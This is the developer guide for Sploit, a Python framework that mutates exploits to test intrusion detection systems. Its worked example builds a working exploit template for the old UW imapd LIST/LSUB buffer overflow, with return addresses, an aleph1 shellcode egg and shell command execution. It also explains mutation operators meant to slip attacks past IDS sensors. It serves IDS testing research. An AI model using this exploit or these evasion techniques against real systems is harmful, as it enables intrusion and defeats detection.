Sploit Mutation Framework
Developer Guide
Version 0.2


Everything in Sploit, from the core engine to the graphical user interface, is written in Python.
This basically means two things:
  1. If you don't know how to program in Python, this guide won't make any sense for you.
    You should better start with something like the python tutorial.
  2. If you already know Python (and you should, since it is a really wonderful language), Sploit will probably be easy to understand and modify (thanks to Python and despite the fact that Sploit is not particularly well-written)
You probably don't need to read the whole guide. The idea is to read the following brief description of the Sploit internal structure, and then read until the section that contains the information you are looking for. The section order is somehow important: for instance, if you want to write a new mutant operator you probably also need to understand how an attack template is written.

But let's go back to the main picture. The Sploit framework can be split in seven different components: When the user runs the system, the engine enters a main loop performing the following actions at each iteration:
  1. The engine invokes the mutant factory, passing the result of the previous mutant and the alerts correlated with the previous attack as parameters. The mutant factory replies with the list of mutant operators that must be applied to the exploit template in order to generate the next mutant.
  2. The engine connects the required mutant operators to the right hooks in the Sploit libraries.
  3. The exploit template (modified by the mutant operators) is executed against the target system.
  4. The engine interrogates the oracle to know the attack result.
  5. The engine asks the alert collectors to retrieve and correlate the alert messages raised by the IDS sensors.
Now you are ready to jump to one of the following section:

How to write your own exploit template

To better explain how to write an exploit script we are going to follow a real example.
Suppose you decide to write an attack to exploit the University Of Washington imapd Buffer Overflow Vulnerabilities (references: BID 1110 and CAN-2000-0284). SecurityFocus describes the vulnerability as follow:

A buffer overflow exists in imapd. The vulnerability exists in the list command. By supplying a long, well-crafted string as the second argument to the list command, it becomes possible to execute code on the machine.
Executing the list command requires an account on the machine. In addition, privileges have been dropped in imapd prior to the location of the buffer overrun. As such, this vulnerability would only be useful in a scenario where a user has an account, but no shell level access. This would allow them to gain shell access.

So, what we need to do is open a connection with the remote vulnerable server, sending a valid userid and password and then put our shellcode as second parameter of a list command. We can also download a working exploit from the Security Focus exploit page.
That seems a wonderful starting point....

We need to translate everything in Python and put our code in a class that extends the base Exploit class.
We can start with the following skeleton:
class WUImapdBO(Exploit):

    def __init__(self)

    def set_up(self)

    def tear_down(self) 

    def execute(self)

    def isSuccessful(self)
The Sploit engine calls the set_up method only once before running the exploit and then calls tear_down after the execution of the last mutant. These are the right places to put some initialization code, to connect and disconnect to a remote oracle, and so forth. The attack code has to be placed in the execute method, while the isSuccessful function should contains the oracle interrogation.

The Constructor

The constructor serves the purpose of calling the base Exploit constructor (setting the name and the description of the attack) and defining the attack parameters.
The first operation is simple:
  Exploit.__init__(self,'Wu-imapd buffer overflow', 'some description')
The description can also contain HTML tags to look better when displayed in the graphical interface.

The parameters definition is more complex. In Sploit there are many classes that support parameters (e.g. Exploit, Mutant Operator, and Alert Collector). Adding a parameter to an object provides a way to add a new field to the object itself, with some more infrastructure that allows the Sploit framework to identify that field as a parameter that the user can modify (through the graphical interface or some configuration file).

Each parameter is defined by a Parameter object and can be added using the add_parameter function. Looking in the hasparameters.py file, we can find some predefined classes to manage string, integer, and keylist parameters. Each parameter has a name, a description string, and a isMultiValues flag that defines whether the user should be able to set a list of values instead of a single one (we will use extensively this feature with Mutant Operators).

Since our exploit should be able to login on the remote server, the user should be able to setup a valid userid and password. So, we need to add two string parameters, one for the userid and one for the password field (default values "foo" and "bar"):
  self.add_param(StringParam('USER','foo', 'A valid userid'))
  self.add_param(StringParam('PASSWD','bar', 'The password for the
       previous userid'))
Then, the exploit needs to know the target platform in order to choose the correct return address for the shellcode. In this case, the parameter should be able to accept only one of the following values (taken by the original exploit downloaded from SecurityFocus):
target_platform = [
  "Slackware 7.0 - IMAP4rev1 v12.261",
  "Slackware 7.1 - IMAP4rev1 v12.264",
  "RedHat    6.2(ZooT) - IMAP4rev1 v12.264",
  "Slackware 7.0 - IMAP4rev1 2000.284"
]
The keylist parameter does exactly what we need:
self.add_param(KeyListParam('PLATFORM',target_platform[2],
  target_platform, 'The target platform (used to choose the return address)'))
Finally, we need a way to understand whether the attack was successful or not. Since our exploit is going to open a shell on the remote system, we can ask the user which command will be executed trough the shell and what is the result that we must expect. An another couple of parameters can resolve this problem:
self.add_param(StringParam('CMD','cat /flag.txt', 'The command to be
  executed on the remote host'))

self.add_param(StringParam('RESULT','well done','The string that must
  be present in the result if the attack is successful'))
In this case, the default behavior consists in printing the content of the /flag.txt file on the target machine, and return that the attack was successful if we receive back the "well done" string.

Attack setup

Since the set_up method is executed only once at the beginning of the testing process, it is the right place to configure the shellcode.
 1  def set_up(self):
 2     if self.PLATFORM == target_platform[0]:   
 3        self.retaddr = "\xec\xf3\xff\xbf" 
 4     elif self.PLATFORM == target_platform[1]: 
 5        self.retaddr = "\xe0\xf4\xff\xbf"
 6     elif self.PLATFORM == target_platform[2]:
 7        self.retaddr = "\x97\xf6\xff\xbf"
 8     elif self.PLATFORM == target_platform[3]: 
 9        self.retaddr = "\xc8\xeb\xff\xbf"

10     self.eggm = egg.EggManager(egg.aleph1, 1064)
11     self.eggm.append_ret(self.retaddr,25)
The lines from 2 to 9 check the value of the PLATFORM parameter and set the corresponding return address.
Line 10 instantiates a new EggManager telling it that we are going to use the standard aleph1 shellcode and that the whole egg size is going to be 1064 bytes. The last line add the return address (25 times) at the end of the shellcode (the EggManager will take care of reducing the nop slash to preserve the total size of 1064 bytes). The use of the EggManager class, instead of just using a byte array for the shellcode, allows Sploit to automatically introduce mutation at the egg layer.

The attack code

The exploit.py defines two exception that can be raised during the attack: a ServiceDown exception to be used any time the attack thinks the target service is not working properly and a generic ExploitError exception to report any other problem occurring during the exploit execution. When an attack raises a ServiceDown exception the engine waits a couple of seconds and then tries again to execute the same mutant. After three failed attempts it stops the process and asks the user to restart the service. Instead, in case of an ExploitError exception, the engine proceeds executing the next mutant.

Sploit provides a set of libraries, each one managing a different protocol. In the current version, you can find a manager that provides partial support for the following protocols: HTTP, FTP, IMAP, TCP, and IP. Even though the user can directly access the network layer managers (TCP, IP, Eth), these are usually automatically managed by the Sploit engine. In fact, whenever a user (or another protocol manager) create a socket, the Sploit libraries take care of instantiating either a traditional Python socket or a userland socket depending on the attack setup.
In our case we just need an IMAP manager.

Finally, each exploit automatically provides a log channel, accessible through the self.log field. The attack code should use it to log different kind of messages, using the functions self.log.debug("msg"), self.log.info("msg"), self.log.warning("msg"), and self.log.error("msg"). All these messages are usually redirected to a special buffer during the exploit execution. The user can decide what to do with the buffer and what level of verbosity he wants to be accepted (please refer to the user guide for any details on how to configure the logging subsystem).

Back to our attack, we identified four different steps:
  1. Connect to the target system
  2. Send a valid userid and password
  3. Send the shellcode
  4. If we get the shell, execute the user command and save the result
Let's start opening the connection:
def execute(self):
    self.res       = ''
    imap = IMAP.IMAPManager()
                
    self.log.info("Connecting to the server...")

    if imap.connect()==False:
        raise exploit.ServiceDown
At the beginning, we initialized the self.res field that will contain the attack result. Then, we instantiate an ImapManager and we call the connect() method. As you can see, it is not necessary to specify the target address, since the Sploit engine takes care of that. If the connection process fails, our code raises a ServiceDown exception to tell the engine that something went wrong during the connection phase.

The next step consists in sending the userid and password:
    self.log.info("Sending login...")

    imap.send_cmd('login %s %s'%(self.USER, self.PASSWD)))
                
    resp = imap.get_imap_response()
                
    if not ("OK LOGIN" in resp):
        self.log.error("Login failed!!")
        raise exploit.ExploitError("Login failed")
The ImapManager provides two method for sending data: send_cmd(imap_commmand) and send_raw(string). Calling send_raw you can force the manager to send the string as it is, without any modification. The send_cmd function receives instead an IMAPCommand object (or a string that will be parsed to build a IMAPCommand object). Using this method, the engine passes the command object through all the Mutant Operators that have been registered to work at the IMAP layer.
Our code uses the send_cmd to send the login command and then calls the get_imap_response method to get the server response. If the response does not contain the "OK LOGIN" string, the exploit logs a message and raises an error.
Note that the IMAP protocol require each command to start with a tag. If you need to use a specific tag, you can create your IMAPCommand object and set your tag. Since we do not care about choosing our tags, we let the ImapManager do that for us.

Step 3: sending the shellcode:
        
    self.log.info("Logged-in.\nSending the shellcode...")
                
    imap.send_cmd('lsub "" {1064}')
    resp = imap.get_imap_response()
    self.log.info("Resp: %s"%resp)
                                
    self.log.info("Sending shellcode...")
    imap.send_raw(self.eggm.get_egg())
    imap.send_raw("\n")
    imap.send_raw("\n")
As you can see, the raw shellcode data are sent using the send_raw method because it's a payload and we don't want that the ImapManager try to interpret it as an IMAP command.

Finally, we are going to execute the user command and check the result:
    time.sleep(2)
                
    self.log.info("Sending shell command: %s"%self.CMD)
    imap.send_raw(self.CMD+"\n")
    self.res = imap.sock.readline('\n',blocking=True)
                
    self.log.debug("Response:\r\n%r"%self.res)
    imap.close()
Here, we start sleeping two second waiting for the shell and then we send the user command. We also need an hack to read the server response. In fact, after the shell is open, we are not talking anymore with the IMAP server. So, the ImapManager is not able anymore to interpret the traffic in the correct way. For this reason, we need to bypass it, reading the response directly from the underlying socket. To simplify this process, in Sploit every protocol manager provides a reference to the underlying network socket.
The final result was stored in the self.res field.

A simple oracle

The exploit.py file defines the result code that can be returned by the oracle:
RES_OK      = 1  # The exploit run successfully
RES_ERROR   = 2  # An error occurred during the exploit execution
RES_FAIL    = 3  # The exploit finished but failed
RES_UNKNOWN = 4  # The exploit finished but the result is unknown
Everytime the attack raises an ExploitError exception, the engine sets the result to RES_ERROR without interrogate the exploit oracle. The result RES_UNKNOWN should be avoided and used only when the oracle it is not able to correctly correlate the state of the service with the attack execution.

In our example, writing an oracle is as simple as checking the content of the self.res field:
def isSuccessful(self):
   if self.RESULT in self.res:
       return exploit.RES_OK
   else:
       return exploit.RES_FAIL


How to write a new mutant operator

A mutant operator operates as filter that receives one or more objects (the type and the number depends on the layer), apply some transformation, and return one or more objects to the caller.
Each mutant operator extends the MutantOperator class, and implements three different methods: mutate (that contains the transformation code), insert (that connect the operator to the right library hook), and remove (that disable the operator).

Even though it is possible to inherit directly from the base MutantOperator class, it is a better practice to extend one of the existing sub-classes. For instance, if you want to add a new operator that works with the IMAP protocol, you should extend the IMAPLayerOperator class:
class IMAPLayerOperator(MutantOperator):
    group             = 'IMAP Layer' 
    group_description = '''This mutations are applied to the IMAP
        commands before sending them to the server'''
    isa_operator      = False  # cannot be instantiated
        
    def mutate(self, requests):
        return requests
                
    def insert(self):
        IMAP.DEFAULT_IMAP_OPERATORS.append(self)
        
    def remove(self):
        IMAP.DEFAULT_IMAP_OPERATORS.remove(self)
This class is just a skeleton that defines how the operator adds and removes itself from the IMAP library. It sets the values of the group and group_description fields. Finally, the isa_operator = False tells the engine that this is not an real operator and it should not appear in the mutant operator list.

Let's take the exploit we wrote in the previous section. Since it uses the ImapManager, it already takes advantage of all the existing general purpose IMAP Mutant Operators.
Reading the vulnerability description, we can see that the same vulnerability affects different commands (COPY, LSUB, RENAME, FIND, and LIST) while our exploit just uses one of them. So, now we want to add an operator that substitutes one command with another, preserving the same parameters.

This is the code:
class ImapReplaceCommand(IMAPLayerOperator):
  isa_operator      = True

  def __init__(self):
    IMAPLayerOperator.__init__(self,'IMAPReplaceCommand',
      'Substitute a commmand with another')

    self.add_param(StringParam('From','LSUB','Command to be replaced', True))
    
    param = StringParam('To','FIND','Command alternatives', True)
    param.set_multiple_values(['FIND', 'LIST'])
    self.add_param(param)

  def mutate(self, cmds):
    result = []
    for c in cmds:
      if c.cmd == self.From:
        c.cmd = self.To
      result.append(c)
    return result
The idea is simple. Inside the constructor we set the operator name, a brief description, and we add two parameters: From that contains the command to be substituted and To that contains the list of alternatives (refer to the previous section for more information about the parameters syntax).
Everytime the exploit try to send an IMAP command, the IMAPManager pass the command through the chain of the mutate methods provided by each subscribed mutant operators.
The actual type of the cmds parameters depends on the protocol manager. It can be a list of IP packets, HTTP requests, or FTP commands. In our case, mutate receives a list of ImapCommand, allowing the operator to add, remove, or modify any of them. The method must return a new list of IMAPCommand.

The code is trivial. We just check if one of the commands is equal to the one defined by the From field, and we substitute it with the current value of the To field (its current value is decided by the mutant factory).



How to write an alert collector

The alert collector is probably one of the most tricky part in the Sploit framework. Its role consists in retrieving the alert messages from the IDS sensor and correlate them to the right mutant. How this can be done is extremely IDS specific, but usually the idea consists in extracting the alert messages from some log files and compare the alert and the attack information to understand which mutant caused the message.

Any collector has an internal dictionary that contains the association between mutant numbers and alert messages. The dictionary contains also a special value, named "uncorrelated", that will contain any message the collector is not able to properly correlate to a specific mutant.
The main Collector class already provides the implementation of two methods: reset() and get_alerts. The first, as the name says, resets the content of the internal dictionary; the second is used to read the dictionary itself.

Collector, as many other classes in Sploit, extends the HasParameter class inheriting the functions to dynamically add parameters to its object (see the exploit section for more details on how to add parameters to an object).
class Collector(HasParameters):

    def connect(target)
        
    def close() 

    def get_name()

    def correlate(self, exploits)
        
    def reset(self):
        self.results = {"uncorrelated":[]}

    def get_alerts(self, mutant_number=None):
        '''
        Return the alerts correlated to the mutant mutant_number
        If mutant_number is None (the default value)
        the function returns the whole alerts dictionary
        '''

        if mutant_number == None:
            return self.results
        elif self.results.has_key(mutant_number):
            return self.results[mutant_number]
        else:
           return None
Beside the obvious get_name(), a collector must implement three methods: connect(), close(), and correlate(exploits). In the common case where the intrusion detection systems runs on a different computer than Sploit, connect() and close() can be used to open and close the channel to talk with the IDS system.

The role of the correlate(exploits) function is to read the alert messages from the sensor and put them in the right place inside the dictionary. The method receives as parameter a list of exploit execution info, each containing the following information:
number     --> The mutant number
operators  --> The list of mutant operator used to generate the mutant
tcp_ports  --> A couple [min,max] of the TCP ports used during the attack
udp_ports  --> A couple [min,max] of the UDP ports used during the attack
result     --> The attack result
exectime   --> The execution time in second
date       --> The date/time when the mutant was executed
Usually, there are two approaches to correlate the alert messages. The first consists in comparing the execution time with the time reported in the alert messages. A more precise solution is based on the ports numbers. In fact, each alert message, usually contains the source IP:PORT from which the attack was launched. Comparing the port number with the ones stored in the mutant execinfo, it should be easy to identify which mutant was responsible of raising the alert.



How to write a new exploration algorithm

In the previous sections we have seen how one or more mutant operators can be registered to apply their transformation during the execution of the attack template. But who decides which operators must be enable for a given mutant?

The user decides the subset of mutant operators that he wants to use in the testing experiment (see the user guide). He also selects a mutant factory, that is responsible of combining such operators in multiple ways to effectively generate the mutants.

The following code fragment shows the methods provided by a MutantFactory:
class MutantFactory(HasParameters):

        def set_opmanager(self, opmanager)

        def get_name(self)
                
        def require_sync_collectors(self)

        def reset(self)

        def set_first(self, firstmutant)
      
        def next(self, result)

        def count(self)

	def current_mutant(self)
The function set_opmanager is called by the Sploit engine to set the Operator Manager. The OpManager, as the name says, is the object that manages the set of mutant operators. It provides methods to load the complete list of operators, add or remove an operator to the selected list, and move up and down an operator in the selected list. The mutant factory will use this object to enable, disable, and configure operators.

Before starting the testing process, the engine calls the reset method, followed by a set_first call to set the index of the first mutant that the user want to generate. Then, inside the main loop, the engine calls next until the method return None (that the way the mutant factory uses to say that it has already generated all the mutant according with its policy) or until the range of mutants chosen by the user have been executed. For instance, if the user runs Sploit with the -r 4:8 parameter, the engine calls: reset(), set_first(4), next(), next(), next(), next().

The count() method should return the total number of mutant that the factory can generate. In case it is not possible to precompute this value the method should return -1. Finally, require_synch_collectors() tells the engine if the mutant factory is going to use or not the information provided by the alert collector to drive the exploration process. If the method returns True, the engine must interrogates the alert collectors synchronously after each mutant execution, otherwise it adopts the more efficient solution that consists in collecting and correlating all the alert messages at the end of the testing experiment.

For instance, we can analyze the code of the OneAtTimeFactory:
class OneAtTheTimeFactory(MutantFactory):
 
    def __init__(self):
        MutantFactory.__init__(self, "One at the time")
        self.reset()

    def set_first(self, mutantnumber):
        if mutantnumber >= 0 and mutantnumber < self.number:
            self.current = mutantnumber
            return True
        return False

    def reset(self):
        self.current = 0
        self.number  = 0
        if self.opmanager == None:
            return
        self.selected = self.opmanager.get_selected_operators()
        if len(self.selected)==0:
            self.number = 0
        else:           
            for y in self.selected:
                self.number += y.params_combinations()


    def next(self, result):
        if self.opmanager == None:
            return None

        if (self.current >= self.number):
            return None
                
        n = self.current
        for y in self.selected:
            if y.params_combinations() > n:
                y.set_params_combination(n)
                self.current += 1
                return [y]
            n = n - y.params_combinations()

    def require_sync_collectors(self):
        return False

    def count(self):
        return self.number

    def current(self):
         return self.current

The reset() function compute the total number of mutant that can be generated (and saves it in the self.number field) and gets the list of the mutant operators that have been selected by the user (and saves it in the self.selected field).
The next() method contains the actual code that selects and configures the operators for each mutant. The idea is simple: it browse the selected operators asking them how many parameter combinations they support (using the built-in params_combinations() method). After the correct mutant operator has been found, the parameters can be set using another operator function: set_params_combination(int).
Note that since the factory can compute the next mutant without any information about the execution of the previous attacks, this factory does not require a synchronous alert collection phase.